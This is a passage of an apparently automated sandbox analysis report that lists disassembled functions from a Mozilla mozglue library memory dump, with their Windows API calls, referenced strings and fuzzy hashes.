Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 6c2c35a9111d9f1367c5f61075365f59a925f9d6ecdd4641c775668eaa6bf081
Instruction ID: b744aeda3812c03dbc570d34af19ca458c0f96f765dbf5d110f67cc2a411b31e
Opcode Fuzzy Hash: 6c2c35a9111d9f1367c5f61075365f59a925f9d6ecdd4641c775668eaa6bf081
Instruction Fuzzy Hash: E331A771B001059BDF14EFBBC888AAE7775FB8A705F108429E505D3750DB70AA05CF69

Function 6C644480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C684843,?), ref: 6C6445F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C684843,?), ref: 6C64468A
free.MOZGLUE(?,?,?,?,?,?,6C684843,?), ref: 6C6446C9
free.MOZGLUE(?), ref: 6C6446EF
free.MOZGLUE(?), ref: 6C644712
free.MOZGLUE(?), ref: 6C644735
free.MOZGLUE(?), ref: 6C644758
free.MOZGLUE(?), ref: 6C64477B
free.MOZGLUE(?), ref: 6C64479E

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 62d873f8a93de8b4d809c9eabbeee5e21e1b8e2351d27aa6ee490eda4da40993
Instruction ID: bf7e69315fabc3c8edd593c2e3cbb5540b203e7cbdb99c0540e8b6bfdb8f10b2
Opcode Fuzzy Hash: 62d873f8a93de8b4d809c9eabbeee5e21e1b8e2351d27aa6ee490eda4da40993
Instruction Fuzzy Hash: 24B1D471A001508FDB18DE3CD8D27BD76A2AF42328F18C669E416DBF96D7B1D8408B99

Function 6C6AAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6AAC52
CreateFileMappingW.KERNEL32 ref: 6C6AAC7D
GetSystemInfo.KERNEL32 ref: 6C6AAC98
MapViewOfFile.KERNEL32 ref: 6C6AACB0
GetSystemInfo.KERNEL32 ref: 6C6AACCD
MapViewOfFile.KERNEL32 ref: 6C6AAD05
UnmapViewOfFile.KERNEL32 ref: 6C6AAD1C
CloseHandle.KERNEL32 ref: 6C6AAD28
UnmapViewOfFile.KERNEL32 ref: 6C6AAD37
CloseHandle.KERNEL32 ref: 6C6AAD43
CloseHandle.KERNEL32 ref: 6C6AAD67

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 61cf2f874bad6c4f4ea5e485d4eb8ed6a064ae1d7619db4743d175ba6b9ebb2d
Instruction ID: 430c96cd5c0c6f5b247d5cebaf0e15fec94c2638339c184eae21107c3987ff8a
Opcode Fuzzy Hash: 61cf2f874bad6c4f4ea5e485d4eb8ed6a064ae1d7619db4743d175ba6b9ebb2d
Instruction Fuzzy Hash: E33160B1A047448FDB00BFB9D68826EBBF0BF89705F01492DE98587311EB709959CB86

Function 6C659620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C659675
__Init_thread_footer.LIBCMT ref: 6C659697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C659707
__Init_thread_footer.LIBCMT ref: 6C65971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C659773

Part of subcall function 6C67AB89: EnterCriticalSection.KERNEL32(6C6CE370,?,?,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284), ref: 6C67AB94
Part of subcall function 6C67AB89: LeaveCriticalSection.KERNEL32(6C6CE370,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C67ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6597B7
FreeLibrary.KERNEL32 ref: 6C6597D0
FreeLibrary.KERNEL32 ref: 6C6597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C659824

Strings

MapViewOfFileNuma2, xrefs: 6C6597B1
NtMapViewOfSection, xrefs: 6C659701
ntdll.dll, xrefs: 6C6596E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C659670

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 83a127fcd13d062e5ce17b923c9b4dda90587c56961a6598ff30f228128d8e72
Instruction ID: c3a310bee9aa81caa6d3403b10096dd7b2631f604a02b3535f576e3c5985bbc9
Opcode Fuzzy Hash: 83a127fcd13d062e5ce17b923c9b4dda90587c56961a6598ff30f228128d8e72
Instruction Fuzzy Hash: 9B41A0B17002059FDF00CFA6E8D4A9677B4EB4A758F108529ED1997740D730EA25CFBA

Function 6C699D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C698273), ref: 6C699D65
free.MOZGLUE(6C698273,?), ref: 6C699D7C
free.MOZGLUE(?,?), ref: 6C699D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C699E0F
free.MOZGLUE(6C69946B,?,?), ref: 6C699E24
free.MOZGLUE(?,?,?), ref: 6C699E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C699EC8
free.MOZGLUE(6C69946B,?,?,?), ref: 6C699EDF
free.MOZGLUE(?,?,?,?), ref: 6C699EF5

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8ce465273d36f0f4f994ca77ecf7d2aae1d4180f0a82b5f273327537539c5a86
Instruction ID: 7fa9f00f009a5f3658e7c8488d18f8cd0d5eb088827c3ae78e4f38e7dd2c73c0
Opcode Fuzzy Hash: 8ce465273d36f0f4f994ca77ecf7d2aae1d4180f0a82b5f273327537539c5a86
Instruction Fuzzy Hash: 18718F70909B428FDB12CF19C48155BF3F4FF99319B449619E85E5BB12EB30E886CB89

Function 6C69DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C69DDCF

Part of subcall function 6C67FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67FA4B

Part of subcall function 6C6990E0: free.MOZGLUE(?,00000000,?,?,6C69DEDB), ref: 6C6990FF
Part of subcall function 6C6990E0: free.MOZGLUE(?,00000000,?,?,6C69DEDB), ref: 6C699108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69DE0D
free.MOZGLUE(00000000), ref: 6C69DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C68DEFD,?,6C654A68), ref: 6C69DF32

Part of subcall function 6C69DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C69DB86
Part of subcall function 6C69DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C69DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C68DEFD,?,6C654A68), ref: 6C69DF65
free.MOZGLUE(?), ref: 6C69DF80

Part of subcall function 6C665E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C665EDB
Part of subcall function 6C665E90: memset.VCRUNTIME140(ewjl,000000E5,?), ref: 6C665F27
Part of subcall function 6C665E90: LeaveCriticalSection.KERNEL32(?), ref: 6C665FB2

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: e0e6b219726a3c8611bc1cebaadedec1a9a1bc0452b1de9563e1e89988a3b80e
Instruction ID: 4a9e4299a494900606a1032f7ad13b112acdb07137aa73eef214b656bc9d5c29
Opcode Fuzzy Hash: e0e6b219726a3c8611bc1cebaadedec1a9a1bc0452b1de9563e1e89988a3b80e
Instruction Fuzzy Hash: 6E51C2766016029BD7118B29C8806AEB3B2BF92308F95013DD81B53B01DB31F91BCB9E

Function 6C6A5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6A5C8C,?,6C67E829), ref: 6C6A5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6A5C8C,?,6C67E829), ref: 6C6A5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6A5C8C,?,6C67E829), ref: 6C6A5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6A5C8C,?,6C67E829), ref: 6C6A5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6A5C8C,?,6C67E829), ref: 6C6A5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6A5C8C,?,6C67E829), ref: 6C6A5DC9
std::_Facet_Register.LIBCPMT ref: 6C6A5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6A5C8C,?,6C67E829), ref: 6C6A5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6A5C8C,?,6C67E829), ref: 6C6A5E45

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 91bd51c5b3cf7bd7f155b7f3e6a36a4a2619ad776f5540495a8772ce6c682a29
Instruction ID: 21c5c61e5fa70851266fcae90f863b91bb5b7917017118a9d2b0d3d23bf5ad8b
Opcode Fuzzy Hash: 91bd51c5b3cf7bd7f155b7f3e6a36a4a2619ad776f5540495a8772ce6c682a29
Instruction Fuzzy Hash: 55414F707002059FCB10EFA6C8D8AAEB7F5EF89318F544069E50A97791DB34AD06CB69

Function 6C67CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6431A7), ref: 6C67CDDD

Strings

<jemalloc>, xrefs: 6C67CF9F, 6C67CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C67CFA4, 6C67CFB8

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: e3cee3531851917d66592035d420d3ea60436c44ea1b0f1a5d6d67a50e8f2cfd
Instruction ID: fae2147e462b4d9f33682c7cde1691939078022cb6522795e96052e350498498
Opcode Fuzzy Hash: e3cee3531851917d66592035d420d3ea60436c44ea1b0f1a5d6d67a50e8f2cfd
Instruction Fuzzy Hash: 8E31A4307412056BEB20AF658C95BAE7B79AF81758F304815F612EBA80DB74D501CBBE

Function 6C64ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64F100: LoadLibraryW.KERNEL32(shell32,?,6C6BD020), ref: 6C64F122
Part of subcall function 6C64F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C64F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C64ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C64EDCC
CreateFileW.KERNEL32 ref: 6C64EE08
free.MOZGLUE(00000000), ref: 6C64EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C64EE32

Part of subcall function 6C64EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C64EBB5
Part of subcall function 6C64EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C67D7F3), ref: 6C64EBC3
Part of subcall function 6C64EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C67D7F3), ref: 6C64EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C64EDC1

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 26dda25826e6ca7257d273b3aa3ac08bc74ec905daedba5a276c30a5e322ecec
Instruction ID: 49bdc6906f6899bafd576f0a776e0f5d1cbb3baf348ca44c1dfdb27eaa1bc421
Opcode Fuzzy Hash: 26dda25826e6ca7257d273b3aa3ac08bc74ec905daedba5a276c30a5e322ecec
Instruction Fuzzy Hash: 8451C071D052049BDB00DF68C8817EEF7F0AF5A318F44C92DE8556BB40E730A949CBAA

Function 6C6BA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6BA565

Part of subcall function 6C6BA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA4BE
Part of subcall function 6C6BA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6BA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6BA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6BA6B6

Strings

0, xrefs: 6C6BA5FB
z, xrefs: 6C6BA6AE

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 4b615eab6b7e9e13e39b262f16fb07c8143a006068823dbce26ef1834402d560
Instruction ID: 71ce6ef40224b81b926821717c7da3e14b3d061f514e5e7c3d80090b9337da68
Opcode Fuzzy Hash: 4b615eab6b7e9e13e39b262f16fb07c8143a006068823dbce26ef1834402d560
Instruction Fuzzy Hash: 0A4159B19087459FC341CF28C080A8BBBE4BFCA354F408A2EF49997651EB30D659CB86

Function 6C689420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C67AB89: EnterCriticalSection.KERNEL32(6C6CE370,?,?,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284), ref: 6C67AB94
Part of subcall function 6C67AB89: LeaveCriticalSection.KERNEL32(6C6CE370,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C67ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C654A68), ref: 6C68945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C689470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C689482
__Init_thread_footer.LIBCMT ref: 6C68949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C68947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C68946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C689459

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 2ea20c894ae1eb4fa892207e3d32344e3f80751642d34eb9a927e3a786226b7b
Instruction ID: 7331dfdade97a8a91a182453fdcda4e6406f11a1713bcb185cb1f4f2d609d32d
Opcode Fuzzy Hash: 2ea20c894ae1eb4fa892207e3d32344e3f80751642d34eb9a927e3a786226b7b
Instruction Fuzzy Hash: 2D01F770B011018BD7109B6ED999A8933B5EF0632CF044537ED0AC6B52E63BEA658D7F

Function 6C64B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C64B61E,?,?,?,?,?,00000000), ref: 6C64B6AC

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C64B61E,?,?,?,?,?,00000000), ref: 6C64B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C64B61E,?,?,?,?,?,00000000), ref: 6C64B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C64B61E,?,?,?,?,?,00000000), ref: 6C64B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C64B61E,?,?,?,?,?,00000000), ref: 6C64B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C64B61E), ref: 6C64B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C64B61E,?,?,?,?,?,00000000), ref: 6C64B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C64B61E,?,?,?,?,?,00000000), ref: 6C64B79A

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 37f59fa32f527363087a37fbda8d645a82cd934c9012eb6569a67bbbb3c908c8
Instruction ID: 4e6145e3e6f18174693162832ba20d2a547e48220552a92823f0b15893f70f42
Opcode Fuzzy Hash: 37f59fa32f527363087a37fbda8d645a82cd934c9012eb6569a67bbbb3c908c8
Instruction Fuzzy Hash: A44105B2D005159FCB00DF68DC806AFB7B9FF85324F258629E825E7780E731A91087E9

Function 6C6BB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6BB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6BB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6BB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6BB5F4
__Init_thread_footer.LIBCMT ref: 6C6BB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6BB61F
std::_Facet_Register.LIBCPMT ref: 6C6BB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6BB655

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 58968aaee6c0e62463f33af9de254e56ba4e9249e312f1ccc754148a8d089941
Instruction ID: d59f389e7800887fd571d15c18cf6ced5299a11081e43a867e9b20ae947c7a65
Opcode Fuzzy Hash: 58968aaee6c0e62463f33af9de254e56ba4e9249e312f1ccc754148a8d089941
Instruction Fuzzy Hash: EB318472B001058BCB10DF6AC8D49AEB7F5EBC6325F140515D916A7740DB30BA56CF9E

Function 6C686590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C67FA80: GetCurrentThreadId.KERNEL32 ref: 6C67FA8D
Part of subcall function 6C67FA80: AcquireSRWLockExclusive.KERNEL32(6C6CF448), ref: 6C67FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C686727
